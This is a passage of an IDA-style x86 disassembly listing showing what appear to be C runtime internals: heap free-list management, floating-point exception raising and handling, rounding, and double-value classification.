loc_419525:				; CODE XREF: sub_419308+1FDj
		lea	ecx, [esi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_419546
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_419546:				; CODE XREF: sub_419308+214j
					; sub_419308+21Bj ...
		mov	ebx, [ebp+arg_4]


loc_419549:				; CODE XREF: sub_419308+1F8j
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	ecx, [edi+4]
		mov	esi, [edi+8]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_419570
		push	3Fh
		pop	esi


loc_419570:				; CODE XREF: sub_419308+1DDj
					; sub_419308+263j
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[ebx+4], edi
		mov	[ebx+8], ecx
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_4195ED
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[esi+eax+4], cl
		jnb	short loc_4195C4
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_4195B7
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi


loc_4195B7:				; CODE XREF: sub_419308+29Fj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, esi
		jmp	short loc_4195E9
; ---------------------------------------------------------------------------


loc_4195C4:				; CODE XREF: sub_419308+299j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_4195DA
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi


loc_4195DA:				; CODE XREF: sub_419308+2C0j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	edx, 80000000h


loc_4195E9:				; CODE XREF: sub_419308+2BAj
		shr	edx, cl
		or	[eax], edx


loc_4195ED:				; CODE XREF: sub_419308+287j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax


loc_4195F6:				; CODE XREF: sub_419308+1A2j
					; sub_419308:loc_4194B6j
		push	1
		pop	eax


loc_4195F9:				; CODE XREF: sub_419308+1A9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_419308	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __fastcall sub_4195FE(int, int, double, int)

sub_4195FE	proc near		; CODE XREF: sub_415E6C+51p
					; sub_415FB3+51p

var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	ds:dword_4386D8, 0
		jnz	short loc_419633
		push	[ebp+arg_C]	; int
		fld	qword ptr [ebp+arg_4]
		push	ecx
		push	ecx		; double
		fstp	[esp+0Ch+var_C]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+14h+var_14]
		fld	qword ptr [ebp+arg_4]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+1Ch+var_1C]
		push	[ebp+arg_0]	; int
		push	1		; int
		call	sub_419BB3
		add	esp, 24h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_419633:				; CODE XREF: sub_4195FE+Aj
		push	0FFFFh
		mov	ds:dword_469484, 21h
		push	[ebp+arg_C]
		call	sub_419E26
		fld	qword ptr [ebp+arg_4]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_4195FE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_419651(int, int, double, double, int)

sub_419651	proc near		; CODE XREF: sub_415E6C:loc_415F2Fp
					; sub_415FB3:loc_416076p

var_74		= qword	ptr -74h
var_6C		= qword	ptr -6Ch
var_64		= qword	ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_20		= dword	ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= qword	ptr  10h
arg_10		= qword	ptr  18h
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	[ebp+arg_18]
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_0]
		call	sub_41999C
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41968F
		lea	eax, [ebp+arg_10]
		and	[ebp+var_20], 0FFFFFFFEh
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+arg_18]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_4196E9
		add	esp, 18h


loc_41968F:				; CODE XREF: sub_419651+1Aj
		push	[ebp+arg_0]
		call	sub_419C86
		cmp	ds:dword_4386D8, 0
		pop	ecx
		jnz	short loc_4196CD
		test	eax, eax
		jz	short loc_4196CD
		push	[ebp+arg_18]	; int
		fld	[ebp+arg_10]
		push	ecx
		push	ecx		; double
		fstp	[esp+64h+var_64]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+6Ch+var_6C]
		fld	[ebp+arg_8]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+74h+var_74]
		push	[ebp+arg_4]	; int
		push	eax		; int
		call	sub_419BB3
		add	esp, 24h
		leave
		retn
; ---------------------------------------------------------------------------


loc_4196CD:				; CODE XREF: sub_419651+4Ej
					; sub_419651+52j
		push	eax
		call	sub_419C3B
		mov	[esp+5Ch+var_5C], 0FFFFh
		push	[ebp+arg_18]
		call	sub_419E26
		fld	[ebp+arg_10]
		pop	ecx
		pop	ecx
		leave
		retn
sub_419651	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4196E9	proc near		; CODE XREF: sub_419651+36p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		xor	eax, eax
		push	ebx
		push	esi
		mov	[ecx+4], eax
		mov	ecx, [ebp+arg_0]
		push	edi
		push	1
		mov	[ecx+8], eax
		mov	ecx, [ebp+arg_0]
		pop	ebx
		mov	[ecx+0Ch], eax
		mov	cl, byte ptr [ebp+arg_8]
		test	cl, 10h
		jz	short loc_41971B
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Fh
		or	[eax+4], ebx


loc_41971B:				; CODE XREF: sub_4196E9+23j
		test	cl, 2
		jz	short loc_41972E
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000093h
		or	dword ptr [eax+4], 2


loc_41972E:				; CODE XREF: sub_4196E9+35j
		test	cl, bl
		jz	short loc_419740
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000091h
		or	dword ptr [eax+4], 4


loc_419740:				; CODE XREF: sub_4196E9+47j
		test	cl, 4
		jz	short loc_419753
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Eh
		or	dword ptr [eax+4], 8


loc_419753:				; CODE XREF: sub_4196E9+5Aj
		test	cl, 8
		jz	short loc_419766
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000090h
		or	dword ptr [eax+4], 10h


loc_419766:				; CODE XREF: sub_4196E9+6Dj
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		push	2
		mov	ecx, [esi]
		mov	edx, [eax+8]
		not	ecx
		and	ecx, ebx
		and	edx, 0FFFFFFEFh
		shl	ecx, 4
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		and	ecx, 4
		shl	ecx, 1
		and	edx, 0FFFFFFF7h
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 1
		and	ecx, 4
		and	edx, 0FFFFFFFBh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 3
		and	ecx, edi
		and	edx, 0FFFFFFFDh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 5
		and	ecx, ebx
		and	edx, 0FFFFFFFEh
		or	ecx, edx
		mov	[eax+8], ecx
		call	sub_419E09
		test	al, bl
		jz	short loc_4197EF
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 10h


loc_4197EF:				; CODE XREF: sub_4196E9+FDj
		test	al, 4
		jz	short loc_4197FA
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 8


loc_4197FA:				; CODE XREF: sub_4196E9+108j
		test	al, 8
		jz	short loc_419805
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 4


loc_419805:				; CODE XREF: sub_4196E9+113j
		test	al, 10h
		jz	short loc_41980F
		mov	ecx, [ebp+arg_0]
		or	[ecx+0Ch], edi


loc_41980F:				; CODE XREF: sub_4196E9+11Ej
		test	al, 20h
		jz	short loc_419819
		mov	eax, [ebp+arg_0]
		or	[eax+0Ch], ebx


loc_419819:				; CODE XREF: sub_4196E9+128j
		mov	eax, [esi]
		mov	ecx, 0C00h
		and	eax, ecx
		jz	short loc_419858
		cmp	eax, 400h
		jz	short loc_41984A
		cmp	eax, 800h
		jz	short loc_41983E
		cmp	eax, ecx
		jnz	short loc_41985E
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax], 3
		jmp	short loc_41985E
; ---------------------------------------------------------------------------


loc_41983E:				; CODE XREF: sub_4196E9+147j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		or	ecx, edi
		jmp	short loc_419854
; ---------------------------------------------------------------------------


loc_41984A:				; CODE XREF: sub_4196E9+140j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFDh
		or	ecx, ebx


loc_419854:				; CODE XREF: sub_4196E9+15Fj
		mov	[eax], ecx
		jmp	short loc_41985E
; ---------------------------------------------------------------------------


loc_419858:				; CODE XREF: sub_4196E9+139j
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFFCh


loc_41985E:				; CODE XREF: sub_4196E9+14Bj
					; sub_4196E9+153j ...
		mov	eax, [esi]
		mov	ecx, 300h
		and	eax, ecx
		jz	short loc_419889
		cmp	eax, 200h
		jz	short loc_41987C
		cmp	eax, ecx
		jnz	short loc_419896
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFE3h
		jmp	short loc_419896
; ---------------------------------------------------------------------------


loc_41987C:				; CODE XREF: sub_4196E9+185j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE7h
		or	ecx, 4
		jmp	short loc_419894
; ---------------------------------------------------------------------------


loc_419889:				; CODE XREF: sub_4196E9+17Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFEBh
		or	ecx, 8


loc_419894:				; CODE XREF: sub_4196E9+19Ej
		mov	[eax], ecx


loc_419896:				; CODE XREF: sub_4196E9+189j
					; sub_4196E9+191j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_C]
		and	ecx, 0FFFh
		mov	edx, [eax]
		shl	ecx, 5
		and	edx, 0FFFE001Fh
		or	ecx, edx
		mov	[eax], ecx
		mov	eax, [ebp+arg_0]
		or	[eax+20h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+20h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	[eax+20h], ecx
		mov	eax, [ebp+arg_10]
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax+10h]
		mov	eax, [ebp+arg_0]
		or	[eax+50h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+50h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	edi, [ebp+arg_14]
		mov	[eax+50h], ecx
		mov	eax, [ebp+arg_0]
		fld	qword ptr [edi]
		fstp	qword ptr [eax+40h]
		call	sub_419E17
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	0
		push	[ebp+arg_8]
		call	ds:dword_421184	; RaiseException
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+8], 10h
		jz	short loc_419910
		and	dword ptr [esi], 0FFFFFFFEh


loc_419910:				; CODE XREF: sub_4196E9+222j
		test	byte ptr [eax+8], 8
		jz	short loc_419919
		and	dword ptr [esi], 0FFFFFFFBh


loc_419919:				; CODE XREF: sub_4196E9+22Bj
		test	byte ptr [eax+8], 4
		jz	short loc_419922
		and	dword ptr [esi], 0FFFFFFF7h


loc_419922:				; CODE XREF: sub_4196E9+234j
		test	byte ptr [eax+8], 2
		jz	short loc_41992B
		and	dword ptr [esi], 0FFFFFFEFh


loc_41992B:				; CODE XREF: sub_4196E9+23Dj
		test	[eax+8], bl
		jz	short loc_419933
		and	dword ptr [esi], 0FFFFFFDFh


loc_419933:				; CODE XREF: sub_4196E9+245j
		mov	ecx, [eax]
		mov	edx, 0FFFFF3FFh
		and	ecx, 3
		sub	ecx, 0
		jz	short loc_419967
		dec	ecx
		jz	short loc_41995B
		dec	ecx
		jz	short loc_419951
		dec	ecx
		jnz	short loc_419969
		or	byte ptr [esi+1], 0Ch
		jmp	short loc_419969
; ---------------------------------------------------------------------------


loc_419951:				; CODE XREF: sub_4196E9+25Dj
		mov	ecx, [esi]
		and	ch, 0FBh
		or	ch, 8
		jmp	short loc_419963
; ---------------------------------------------------------------------------


loc_41995B:				; CODE XREF: sub_4196E9+25Aj
		mov	ecx, [esi]
		and	ch, 0F7h
		or	ch, 4


loc_419963:				; CODE XREF: sub_4196E9+270j
		mov	[esi], ecx
		jmp	short loc_419969
; ---------------------------------------------------------------------------


loc_419967:				; CODE XREF: sub_4196E9+257j
		and	[esi], edx


loc_419969:				; CODE XREF: sub_4196E9+260j
					; sub_4196E9+266j ...
		mov	ecx, [eax]
		shr	ecx, 2
		and	ecx, 7
		sub	ecx, 0
		jz	short loc_419989
		dec	ecx
		jz	short loc_419980
		dec	ecx
		jnz	short loc_419992
		and	[esi], edx
		jmp	short loc_419992
; ---------------------------------------------------------------------------


loc_419980:				; CODE XREF: sub_4196E9+28Ej
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 2
		jmp	short loc_419990
; ---------------------------------------------------------------------------


loc_419989:				; CODE XREF: sub_4196E9+28Bj
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 3


loc_419990:				; CODE XREF: sub_4196E9+29Ej
		mov	[esi], ecx


loc_419992:				; CODE XREF: sub_4196E9+291j
					; sub_4196E9+295j
		fld	qword ptr [eax+40h]
		fstp	qword ptr [edi]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4196E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41999C	proc near		; CODE XREF: sub_419651+10p

var_24		= qword	ptr -24h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	edi
		mov	edi, eax
		and	edi, 1Fh
		push	1
		test	al, 8
		pop	ebx
		jz	short loc_4199C7
		test	byte ptr [ebp+arg_8], bl
		jz	short loc_4199C7
		push	ebx
		call	sub_419E49
		pop	ecx
		and	edi, 0FFFFFFF7h
		jmp	loc_419B91
; ---------------------------------------------------------------------------


loc_4199C7:				; CODE XREF: sub_41999C+15j
					; sub_41999C+1Aj
		test	al, 4
		jz	short loc_4199E1
		test	byte ptr [ebp+arg_8], 4
		jz	short loc_4199E1
		push	4
		call	sub_419E49
		pop	ecx
		and	edi, 0FFFFFFFBh
		jmp	loc_419B91
; ---------------------------------------------------------------------------


loc_4199E1:				; CODE XREF: sub_41999C+2Dj
					; sub_41999C+33j
		test	al, bl
		jz	loc_419ABB
		test	byte ptr [ebp+arg_8], 8
		jz	loc_419ABB
		push	8
		call	sub_419E49
		pop	ecx
		mov	eax, 0C00h
		mov	ecx, [ebp+arg_8]
		and	ecx, eax
		jz	loc_419A93
		cmp	ecx, 400h
		jz	short loc_419A6B
		cmp	ecx, 800h
		jz	short loc_419A43
		cmp	ecx, eax
		jnz	loc_419AB3
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	ds:dbl_4217B0
		fld	ds:dbl_438068
		fnstsw	ax
		sahf
		ja	short loc_419A3B
		fchs


loc_419A3B:				; CODE XREF: sub_41999C+9Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_419AB1
; ---------------------------------------------------------------------------


loc_419A43:				; CODE XREF: sub_41999C+7Dj
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	ds:dbl_4217B0
		fnstsw	ax
		sahf
		jbe	short loc_419A5B
		fld	ds:dbl_438058
		jmp	short loc_419A63
; ---------------------------------------------------------------------------


loc_419A5B:				; CODE XREF: sub_41999C+B5j
		fld	ds:dbl_438068
		fchs


loc_419A63:				; CODE XREF: sub_41999C+BDj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_419AB1
; ---------------------------------------------------------------------------


loc_419A6B:				; CODE XREF: sub_41999C+75j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	ds:dbl_4217B0
		fnstsw	ax
		sahf
		jbe	short loc_419A83
		fld	ds:dbl_438068
		jmp	short loc_419A8B
; ---------------------------------------------------------------------------


loc_419A83:				; CODE XREF: sub_41999C+DDj
		fld	ds:dbl_438058
		fchs


loc_419A8B:				; CODE XREF: sub_41999C+E5j
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_419AB1
; ---------------------------------------------------------------------------


loc_419A93:				; CODE XREF: sub_41999C+69j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	ds:dbl_4217B0
		fld	ds:dbl_438058
		fnstsw	ax
		sahf
		ja	short loc_419AAB
		fchs


loc_419AAB:				; CODE XREF: sub_41999C+10Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]


loc_419AB1:				; CODE XREF: sub_41999C+A5j
					; sub_41999C+CDj ...
		fstp	qword ptr [ecx]


loc_419AB3:				; CODE XREF: sub_41999C+81j
		and	edi, 0FFFFFFFEh
		jmp	loc_419B91
; ---------------------------------------------------------------------------


loc_419ABB:				; CODE XREF: sub_41999C+47j
					; sub_41999C+51j
		test	al, 2
		jz	loc_419B91
		test	byte ptr [ebp+arg_8], 10h
		jz	loc_419B91
		push	esi
		xor	esi, esi
		test	al, 10h
		jz	short loc_419AD6
		mov	esi, ebx


loc_419AD6:				; CODE XREF: sub_41999C+136j
		mov	eax, [ebp+arg_4]
		fld	qword ptr [eax]
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		fcomp	ds:dbl_4217B0
		fnstsw	ax
		sahf
		jz	loc_419B7F
		fld	[ebp+var_C]
		lea	eax, [ebp+var_4]
		push	eax		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		call	sub_419D48
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		fstp	[ebp+var_C]
		lea	ecx, [eax-600h]
		cmp	ecx, 0FFFFFBCEh
		jge	short loc_419B21
		fldz
		mov	esi, ebx
		fstp	[ebp+var_C]
		jmp	short loc_419B75
; ---------------------------------------------------------------------------


loc_419B21:				; CODE XREF: sub_41999C+17Aj
		fld	[ebp+var_C]
		fcomp	ds:dbl_4217B0
		fnstsw	ax
		sahf
		jnb	short loc_419B33
		mov	edx, ebx
		jmp	short loc_419B35
; ---------------------------------------------------------------------------


loc_419B33:				; CODE XREF: sub_41999C+191j
		xor	edx, edx


loc_419B35:				; CODE XREF: sub_41999C+195j
		mov	al, byte ptr [ebp+var_C+6]
		and	eax, 0Fh
		or	al, 10h
		mov	word ptr [ebp+var_C+6],	ax
		mov	eax, 0FFFFFC03h
		cmp	ecx, eax
		jge	short loc_419B69
		sub	eax, ecx


loc_419B4C:				; CODE XREF: sub_41999C+1CBj
		test	byte ptr [ebp+var_C], bl
		jz	short loc_419B57
		test	esi, esi
		jnz	short loc_419B57
		mov	esi, ebx


loc_419B57:				; CODE XREF: sub_41999C+1B3j
					; sub_41999C+1B7j
		shr	dword ptr [ebp+var_C], 1
		test	byte ptr [ebp+var_C+4],	bl
		jz	short loc_419B63
		or	byte ptr [ebp+var_C+3],	80h


loc_419B63:				; CODE XREF: sub_41999C+1C1j
		shr	dword ptr [ebp+var_C+4], 1
		dec	eax
		jnz	short loc_419B4C


loc_419B69:				; CODE XREF: sub_41999C+1ACj
		test	edx, edx
		jz	short loc_419B75
		fld	[ebp+var_C]
		fchs
		fstp	[ebp+var_C]


loc_419B75:				; CODE XREF: sub_41999C+183j
					; sub_41999C+1CFj
		fld	[ebp+var_C]
		mov	eax, [ebp+arg_4]
		fstp	qword ptr [eax]
		jmp	short loc_419B81
; ---------------------------------------------------------------------------


loc_419B7F:				; CODE XREF: sub_41999C+14Ej
		mov	esi, ebx


loc_419B81:				; CODE XREF: sub_41999C+1E1j
		test	esi, esi
		pop	esi
		jz	short loc_419B8E
		push	10h
		call	sub_419E49
		pop	ecx


loc_419B8E:				; CODE XREF: sub_41999C+1E8j
		and	edi, 0FFFFFFFDh


loc_419B91:				; CODE XREF: sub_41999C+26j
					; sub_41999C+40j ...
		test	byte ptr [ebp+arg_0], 10h
		jz	short loc_419BA8
		test	byte ptr [ebp+arg_8], 20h
		jz	short loc_419BA8
		push	20h
		call	sub_419E49
		pop	ecx
		and	edi, 0FFFFFFEFh


loc_419BA8:				; CODE XREF: sub_41999C+1F9j
					; sub_41999C+1FFj
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	ebx
		setz	al
		leave
		retn
sub_41999C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_419BB3(int, int, int,	int, int, int, double, int)

sub_419BB3	proc near		; CODE XREF: sub_4195FE+2Bp
					; sub_419651+72p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= qword	ptr  20h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	[ebp+arg_4]
		call	sub_419C61
		test	eax, eax
		pop	ecx
		mov	[ebp+var_1C], eax
		jz	short loc_419C1E
		mov	eax, [ebp+arg_8]
		push	esi
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_10]
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_14]
		push	0FFFFh
		push	[ebp+arg_20]
		mov	[ebp+var_C], eax
		mov	eax, dword ptr [ebp+arg_18]
		mov	[ebp+var_20], esi
		mov	dword ptr [ebp+var_8], eax
		mov	eax, dword ptr [ebp+arg_18+4]
		mov	dword ptr [ebp+var_8+4], eax
		call	sub_419E26
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_41D813
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_419C18
		push	esi
		call	sub_419C3B
		pop	ecx


loc_419C18:				; CODE XREF: sub_419BB3+5Cj
		fld	[ebp+var_8]
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_419C1E:				; CODE XREF: sub_419BB3+14j
		push	0FFFFh
		push	[ebp+arg_20]
		call	sub_419E26
		push	[ebp+arg_0]
		call	sub_419C3B
		fld	[ebp+arg_18]
		add	esp, 0Ch
		leave
		retn
sub_419BB3	endp


; =============== S U B	R O U T	I N E =======================================



sub_419C3B	proc near		; CODE XREF: sub_419651+7Dp
					; sub_419BB3+5Fp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 1
		jz	short loc_419C56
		jle	short locret_419C60
		cmp	eax, 3
		jg	short locret_419C60
		mov	ds:dword_469484, 22h
		retn
; ---------------------------------------------------------------------------


loc_419C56:				; CODE XREF: sub_419C3B+7j
		mov	ds:dword_469484, 21h

locret_419C60:				; CODE XREF: sub_419C3B+9j
					; sub_419C3B+Ej
		retn
sub_419C3B	endp


; =============== S U B	R O U T	I N E =======================================



sub_419C61	proc near		; CODE XREF: sub_419BB3+9p

arg_0		= dword	ptr  4

		xor	ecx, ecx
		mov	eax, offset dword_437F80


loc_419C68:				; CODE XREF: sub_419C61+18j
		mov	edx, [eax]
		cmp	edx, [esp+arg_0]
		jz	short loc_419C7E
		add	eax, 8
		inc	ecx
		cmp	eax, offset dbl_438058
		jl	short loc_419C68
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_419C7E:				; CODE XREF: sub_419C61+Dj
		mov	eax, ds:off_437F84[ecx*8]
		retn
sub_419C61	endp


; =============== S U B	R O U T	I N E =======================================



sub_419C86	proc near		; CODE XREF: sub_419651+41p

arg_0		= byte ptr  4

		mov	al, [esp+arg_0]
		test	al, 20h
		jz	short loc_419C92
		push	5
		jmp	short loc_419CA8
; ---------------------------------------------------------------------------


loc_419C92:				; CODE XREF: sub_419C86+6j
		test	al, 8
		jz	short loc_419C9A
		push	1
		jmp	short loc_419CA8
; ---------------------------------------------------------------------------


loc_419C9A:				; CODE XREF: sub_419C86+Ej
		test	al, 4
		jz	short loc_419CA2
		push	2
		jmp	short loc_419CA8
; ---------------------------------------------------------------------------


loc_419CA2:				; CODE XREF: sub_419C86+16j
		test	al, 1
		jz	short loc_419CAA
		push	3


loc_419CA8:				; CODE XREF: sub_419C86+Aj
					; sub_419C86+12j ...
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_419CAA:				; CODE XREF: sub_419C86+1Ej
		movzx	eax, al
		and	eax, 2
		shl	eax, 1
		retn
sub_419C86	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_419CB3(double)

sub_419CB3	proc near		; CODE XREF: sub_415E6C:loc_415EF2p
					; sub_415FB3:loc_416039p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		frndint
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		leave
		retn
sub_419CB3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_419CC5(double, int)

sub_419CC5	proc near		; CODE XREF: sub_419D48+82p
					; sub_419D48+98p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+0Eh]
		fld	[ebp+arg_0]
		add	eax, 3FEh
		and	cx, 800Fh
		fstp	[ebp+var_8]
		shl	eax, 4
		or	eax, ecx
		mov	word ptr [ebp+var_8+6],	ax
		fld	[ebp+var_8]
		leave
		retn
sub_419CC5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419CEE	proc near		; CODE XREF: sub_415E6C+31p
					; sub_415FB3+31p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		cmp	[ebp+arg_4], 7FF00000h
		jnz	short loc_419D05
		cmp	[ebp+arg_0], edx
		jnz	short loc_419D17
		push	1
		jmp	short loc_419D41
; ---------------------------------------------------------------------------


loc_419D05:				; CODE XREF: sub_419CEE+Cj
		cmp	[ebp+arg_4], 0FFF00000h
		jnz	short loc_419D17
		cmp	[ebp+arg_0], edx
		jnz	short loc_419D17
		push	2
		jmp	short loc_419D41
; ---------------------------------------------------------------------------


loc_419D17:				; CODE XREF: sub_419CEE+11j
					; sub_419CEE+1Ej ...
		mov	ecx, [ebp+arg_4+2]
		mov	eax, 7FF8h
		and	ecx, eax
		cmp	cx, ax
		jnz	short loc_419D2A
		push	3
		jmp	short loc_419D41
; ---------------------------------------------------------------------------


loc_419D2A:				; CODE XREF: sub_419CEE+36j
		cmp	cx, 7FF0h
		jnz	short loc_419D44
		test	[ebp+arg_4], 7FFFFh
		jnz	short loc_419D3F
		cmp	[ebp+arg_0], edx
		jz	short loc_419D44


loc_419D3F:				; CODE XREF: sub_419CEE+4Aj
		push	4


loc_419D41:				; CODE XREF: sub_419CEE+15j
					; sub_419CEE+27j ...
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


